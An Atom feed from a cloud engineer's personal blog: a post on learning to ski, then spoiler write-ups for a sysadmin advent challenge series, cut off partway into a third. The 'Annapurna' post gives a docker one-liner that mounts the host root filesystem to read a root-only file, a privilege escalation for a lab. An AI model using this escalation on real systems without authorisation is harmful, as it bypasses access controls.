<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="pretty-atom-feed.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <title>Jérémie Robi | jrb.nz</title>
  <subtitle>Jérémie Robitaille is a cloud engineer based in Canada. He&#39;s interested in all things that make the internet what it is, from the infrastructure that runs it silently to the small and weird websites that keep it interesting.</subtitle>
  <link href="https://jrb.nz/feed/feed.xml" rel="self" />
  <link href="https://jrb.nz/" />
  <updated>2026-02-03T00:00:00Z</updated>
  <id>https://jrb.nz/</id>
  <author>
    <name>Jérémie Robi</name>
  </author>
  <entry>
    <title>Learning to ski in my 30s</title>
    <link href="https://jrb.nz/posts/learning-skiing-30s/" />
    <updated>2026-02-03T00:00:00Z</updated>
    <id>https://jrb.nz/posts/learning-skiing-30s/</id>
    <content type="html">&lt;div class=&quot;markdown-alert markdown-alert-note&quot;&gt;&lt;p class=&quot;markdown-alert-title&quot;&gt;&lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;Work in progress ⛷️&lt;/p&gt;&lt;p&gt;I&#39;m taking some notes about my experience learning alpine skiing these past winters.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;how-it-started&quot;&gt;How it started&lt;/h2&gt;
&lt;p&gt;I wasn&#39;t one of those kids that learned to ski in childhood. I did do cross-country skiing with my parents, but I remember that I found it a bit boring at the time.&lt;/p&gt;
&lt;p&gt;At some point, I did try snowboarding, but I can&#39;t remember it very much. I must have felt overwhelmed by it somehow, because I didn&#39;t do more of it.&lt;/p&gt;
&lt;p&gt;Fast forward to my 30s, and living in Montreal, I found some renewed interest in cross-country skiing. Particularly the &lt;em&gt;backcountry&lt;/em&gt; flavor (also called &lt;a href=&quot;https://www.trailgroove.com/blogs/entry/347-backcountry-nordic-skiing-an-introductory-guide/&quot;&gt;backcountry nordic skiing&lt;/a&gt; - confusing name if you ask me). The COVID-19 pandemic also kinda forced me to find a winter sport to get outside more, and I slowly developed a love for it.&lt;/p&gt;
&lt;p&gt;A few things helped during the process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I got myself some great &lt;a href=&quot;https://www.en.asnes.com/produkt/nansen-waxless/&quot;&gt;Asnes Nansen Waxless&lt;/a&gt;. Great skis that mostly fit in groomed tracks, but are also great in deep snow. &lt;em&gt;Waxless&lt;/em&gt;, meaning they have a grip zone built into the pocket. They also can be fitted with skins, allowing to climb hills easily.&lt;/li&gt;
&lt;li&gt;I discovered / started looking for spots where to ski on &lt;a href=&quot;https://openskimap.org/&quot;&gt;Open Ski Map&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;I also discovered the &lt;a href=&quot;https://skiglisse.blogspot.com/&quot;&gt;awesome blog of Barclay Fortin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At some point, wanting to get better at downhill in my cross-country skiing, I learned about the &lt;a href=&quot;https://en.wikipedia.org/wiki/Telemark_skiing&quot;&gt;telemark technique&lt;/a&gt;. A few weeks later, I booked a telemark course.&lt;/p&gt;
&lt;p&gt;Little did I know, &lt;em&gt;alpine skiing&lt;/em&gt; skills were expected in this telemark course. I was the only one in the group that hadn&#39;t learned alpine skiing beforehand.&lt;/p&gt;
&lt;p&gt;It was a very humbling experience. But three things happened:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I felt bad for being so terrible at skiing. I was clearly slowing down the group.&lt;/li&gt;
&lt;li&gt;I somehow managed to learn the basics and do alpine skiing for the first time in my life&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;I had the most fun in a long time&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even if I didn&#39;t technically learn the telemark technique, I was hooked to alpine skiing. I wanted more of it.&lt;/p&gt;
&lt;p&gt;Two weeks later, I went back skiing at a resort with a friend.&lt;/p&gt;
&lt;h2 id=&quot;how-its-going&quot;&gt;How it&#39;s going&lt;/h2&gt;
&lt;p&gt;Since then, I went deep and kept wanting more of it. It truly felt like finding a new love for a sport.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bought some gear: skis, boots, gloves, poles.&lt;/li&gt;
&lt;li&gt;Bought an evening seasonal pass at a mountain close to home, allowing me to go skiing after work between 17:00 and 22:00.&lt;/li&gt;
&lt;li&gt;Took some private lessons at the same mountain.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;tips&quot;&gt;Tips&lt;/h2&gt;
&lt;p&gt;From Youtube videos to official ski lessons, here&#39;s some tips I gleaned along the way:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Relax. This is a chill sport. Don&#39;t be so tense.&lt;/li&gt;
&lt;li&gt;Look where you&#39;re going (it helps with turning).&lt;/li&gt;
&lt;li&gt;Use your legs to turn, not your torso.&lt;/li&gt;
&lt;li&gt;Lean forward. Yes, more.&lt;/li&gt;
&lt;li&gt;Bring your knees inside when turning so that your skis can bite in the snow.&lt;/li&gt;
&lt;li&gt;Relax some more. You&#39;ll be fine.&lt;/li&gt;
&lt;/ol&gt;
</content>
  </entry>
  <entry>
    <title>Annapurna - Advent of Sysadmin 2025</title>
    <link href="https://jrb.nz/posts/sadservers-advent-annapurna/" />
    <updated>2025-12-07T00:00:00Z</updated>
    <id>https://jrb.nz/posts/sadservers-advent-annapurna/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;This is part of Sad Servers&#39; &lt;a href=&quot;https://sadservers.com/advent&quot;&gt;Advent of Sysadmin 2025&lt;/a&gt; series.&lt;/p&gt;
&lt;p&gt;I&#39;m doing each challenge every day and I&#39;m publishing a quick write up for each one every day.&lt;/p&gt;
&lt;p&gt;Spoiler alert! This gives the solution to the challenge.
If you want to do it on your own, stop reading.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;details&gt;
  &lt;summary&gt;Challenge details&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &amp;quot;Annapurna&amp;quot;: High privileges&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; Medium&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt; Hack&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;https://sadservers.com/tag/hack&quot;&gt;hack&lt;/a&gt;   &lt;a href=&quot;https://sadservers.com/tag/advent2025&quot;&gt;advent2025&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Access:&lt;/strong&gt; Email&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; You are logged in as the user &lt;em&gt;admin&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;You have been tasked with auditing the admin user privileges in this server; &amp;quot;admin&amp;quot; should not have sudo (root) access.&lt;/p&gt;
&lt;p&gt;Exploit this server so you as the admin user can read the file &lt;em&gt;/root/mysecret.txt&lt;/em&gt;
Save the content of &lt;em&gt;/root/mysecret.txt&lt;/em&gt; to the file &lt;em&gt;/home/admin/mysolution.txt&lt;/em&gt; , for example: echo &amp;quot;secret&amp;quot; &amp;gt; ~/mysolution.txt&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root (sudo) Access:&lt;/strong&gt; False&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test:&lt;/strong&gt; Running md5sum /home/admin/mysolution.txt returns . (We also accept the md5sum of the same file without a newline at the end).&lt;/p&gt;
&lt;p&gt;The &amp;quot;Check My Solution&amp;quot; button runs the script &lt;em&gt;/home/admin/agent/check.sh&lt;/em&gt;, which you can see and execute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time to Solve:&lt;/strong&gt; 20 minutes.&lt;/p&gt;
&lt;/details&gt;
&lt;hr&gt;
&lt;p&gt;This is the second one in the &lt;code&gt;hack&lt;/code&gt; category! I love those.&lt;/p&gt;
&lt;p&gt;Alas, in this one, the user we get logged into doesn&#39;t have sudo access at all.&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;admin@i-0adfc7a1f5cd64cfb:~$ &lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt;
Matching Defaults entries &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; admin on i-0adfc7a1f5cd64cfb:
    env_reset, mail_badpass,
    &lt;span class=&quot;token assign-left variable&quot;&gt;secure_path&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/usr/local/bin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/usr/sbin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/usr/bin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/sbin&lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;:/bin,
    use_pty

User admin may run the following commands on i-0adfc7a1f5cd64cfb:
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ALL &lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; ALL&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; ALL
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ALL&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; NOPASSWD: /sbin/shutdown
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But the user has docker access!&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token function&quot;&gt;id&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;output not copied&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
$ &lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--version&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;output not copied&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/engine/security/#docker-daemon-attack-surface&quot;&gt;Docker daemon attack surface | Docker Docs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Since the user is part of the &lt;code&gt;docker&lt;/code&gt; group, we can run docker without sudo. And that allows us to mount any part of the host filesystem into the docker container and gain access to it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;First of all, only trusted users should be allowed to control your Docker daemon. This is a direct consequence of some powerful Docker features. Specifically, Docker allows you to share a directory between the Docker host and a guest container; and it allows you to do so without limiting the access rights of the container. This means that you can start a container where the &lt;code&gt;/host&lt;/code&gt; directory is the &lt;code&gt;/&lt;/code&gt; directory on your host; and the container can alter your host filesystem without any restriction. This is similar to how virtualization systems allow filesystem resource sharing. Nothing prevents you from sharing your root filesystem (or even your root block device) with a virtual machine.
&lt;cite&gt;- https://docs.docker.com/engine/security/#docker-daemon-attack-surface&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;GTFOBins also mentions this: &lt;a href=&quot;https://gtfobins.github.io/gtfobins/docker/&quot;&gt;docker | GTFOBins&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It is then simply a matter of running a container that will output the secret file to the required destination. A quick one-liner like this works:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--mount&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;volume,src&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;/,dst&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;/host &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
alpine &lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; /host/root/mysecret.txt &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; /host/home/admin/mysolution.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And one more! 🚩&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Hamburg - Advent of Sysadmin 2025</title>
    <link href="https://jrb.nz/posts/sadservers-advent-hamburg/" />
    <updated>2025-12-06T00:00:00Z</updated>
    <id>https://jrb.nz/posts/sadservers-advent-hamburg/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;This is part of Sad Servers&#39; &lt;a href=&quot;https://sadservers.com/advent&quot;&gt;Advent of Sysadmin 2025&lt;/a&gt; series.&lt;/p&gt;
&lt;p&gt;I&#39;m doing each challenge every day and I&#39;m publishing a quick write up for each one every day.&lt;/p&gt;
&lt;p&gt;Spoiler alert! This gives the solution to the challenge.
If you want to do it on your own, stop reading.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;details&gt;
  &lt;summary&gt;Challenge details&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &amp;quot;Hamburg&amp;quot;: Find the AWS EC2 volume&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; Easy&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; We have a lot of AWS EC2 instances and EBS volumes, the description of which volumes we have saved to a file with: &lt;code&gt;aws ec2 describe-volumes &amp;gt; aws-volumes.json&lt;/code&gt;.
One of the volumes attached to an ec2 instance contains important data and we need to identify which instance is attached to (its ID), but we only remember these characteristics: gp3, created before 31/09/2025 , Size &amp;lt; 64 , Iops &amp;lt; 1500, Throughput &amp;gt; 300.&lt;/p&gt;
&lt;p&gt;Find the correct instance and put its &amp;quot;InstanceId&amp;quot; into the &lt;em&gt;~/mysolution&lt;/em&gt; file, e.g.: &lt;code&gt;echo &amp;quot;i-00000000000000000&amp;quot; &amp;gt; ~/mysolution&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test:&lt;/strong&gt; Running &lt;code&gt;md5sum /home/admin/mysolution&lt;/code&gt; returns &lt;code&gt;e7e34463823bf7e39358bf6bb24336d8&lt;/code&gt; (we also accept the file without a new line at the end).&lt;/p&gt;
&lt;p&gt;The &amp;quot;Check My Solution&amp;quot; button runs the script &lt;em&gt;/home/admin/agent/check.sh&lt;/em&gt;, which you can see and execute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time to Solve:&lt;/strong&gt; 30 minutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OS:&lt;/strong&gt; Debian 13&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root (sudo) Access:&lt;/strong&gt; Yes&lt;/p&gt;
&lt;/details&gt;
&lt;hr&gt;
&lt;p&gt;Just by reading the challenge description, I knew I had to work with &lt;code&gt;jq&lt;/code&gt; to find the answer.&lt;/p&gt;
&lt;p&gt;Before launching the challenge, I started by reading the output structure of the AWS CLI &lt;code&gt;describe-volumes&lt;/code&gt; command here: &lt;a href=&quot;https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-volumes.html#output&quot;&gt;describe-volumes — AWS CLI 2.32.11 Command Reference&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I ended up preparing my jq filter like this to match the search criteria:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VolumeType == gp3&lt;/li&gt;
&lt;li&gt;CreateTime &amp;lt; 2025-09-31T00:00:002&lt;/li&gt;
&lt;li&gt;Size &amp;lt; 64&lt;/li&gt;
&lt;li&gt;Iops &amp;lt; 1500&lt;/li&gt;
&lt;li&gt;Throughput &amp;gt; 300&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;jq &lt;span class=&quot;token string&quot;&gt;&#39;.Volumes[] | select(.VolumeType == &quot;gp3&quot; and .Size &amp;lt; 64 and .Iops &amp;lt; 1500 and .Throughput &gt; 300 and .CreateTime &amp;lt; &quot;2025-09-31T00:00:002&quot;)&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; aws-volumes.json &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token string&quot;&gt;&#39;.Volumes[] | select(.VolumeType == &quot;gp3&quot; and .Size &amp;lt; 64 and .Iops &amp;lt; 1500 and .Throughput &gt; 300 and .CreateTime &amp;lt; &quot;2025-09-31T00:00:002&quot;)&#39;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;AvailabilityZoneId&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;use2-az2&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Iops&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;VolumeType&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gp3&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;MultiAttachEnabled&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; false,
  &lt;span class=&quot;token string&quot;&gt;&quot;Throughput&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;500&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Operator&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;Managed&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;VolumeId&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vol-29d115ef9c3944f29&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Size&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;SnapshotId&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;snap-4d14b6dc50854a9cb&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;AvailabilityZone&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;us-east-2c&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;State&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;in-use&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;CreateTime&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2025-09-29T16:43:18.004823Z&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Attachments&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&quot;DeleteOnTermination&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; true,
      &lt;span class=&quot;token string&quot;&gt;&quot;VolumeId&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vol-29d115ef9c3944f29&quot;&lt;/span&gt;,
      &lt;span class=&quot;token string&quot;&gt;&quot;InstanceId&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;i-371822c092b2470da&quot;&lt;/span&gt;,
      &lt;span class=&quot;token string&quot;&gt;&quot;Device&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/dev/xvdc&quot;&lt;/span&gt;,
      &lt;span class=&quot;token string&quot;&gt;&quot;State&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;attached&quot;&lt;/span&gt;,
      &lt;span class=&quot;token string&quot;&gt;&quot;AttachTime&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2025-09-29T17:41:18.004823Z&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Encrypted&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;AvailabilityZoneId&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;use2-az3&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Iops&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;VolumeType&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gp3&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;MultiAttachEnabled&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; false,
  &lt;span class=&quot;token string&quot;&gt;&quot;Throughput&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;500&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Operator&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;Managed&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;VolumeId&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;vol-99646e602c6e4b92a&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Size&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;SnapshotId&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;snap-27b0fb199d294889b&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;AvailabilityZone&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;us-east-2a&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;State&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;available&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;CreateTime&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2025-09-29T01:21:18.004823Z&quot;&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Attachments&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;,
  &lt;span class=&quot;token string&quot;&gt;&quot;Encrypted&quot;&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I confirmed this command was working as expected. And then, I had to select the attachment instance ID to get the answer:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; aws-volumes.json &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token string&quot;&gt;&#39;.Volumes[] | select(.VolumeType == &quot;gp3&quot; and .Size &amp;lt; 64 and .Iops &amp;lt; 1500 and .Throughput &gt; 300 and .CreateTime &amp;lt; &quot;2025-09-31T00:00:002&quot;) | .Attachments[].InstanceId&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Redirect that into the file &lt;code&gt;mysolution&lt;/code&gt; with the &lt;code&gt;--raw-output&lt;/code&gt; argument for jq. And that&#39;s it!&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; aws-volumes.json &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq --raw-output &lt;span class=&quot;token string&quot;&gt;&#39;.Volumes[] | select(.VolumeType == &quot;gp3&quot; and .Size &amp;lt; 64 and .Iops &amp;lt; 1500 and .Throughput &gt; 300 and .CreateTime &amp;lt; &quot;2025-09-31T00:00:002&quot;) | .Attachments[].InstanceId&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; mysolution&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A quick and easy one! 🚩&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>La Rinconada - Advent of Sysadmin 2025</title>
    <link href="https://jrb.nz/posts/sadservers-advent-rinconada/" />
    <updated>2025-12-05T00:00:00Z</updated>
    <id>https://jrb.nz/posts/sadservers-advent-rinconada/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;This is part of Sad Servers&#39; &lt;a href=&quot;https://sadservers.com/advent&quot;&gt;Advent of Sysadmin 2025&lt;/a&gt; series.&lt;/p&gt;
&lt;p&gt;I&#39;m doing each challenge every day and I&#39;m publishing a quick write up for each one every day.&lt;/p&gt;
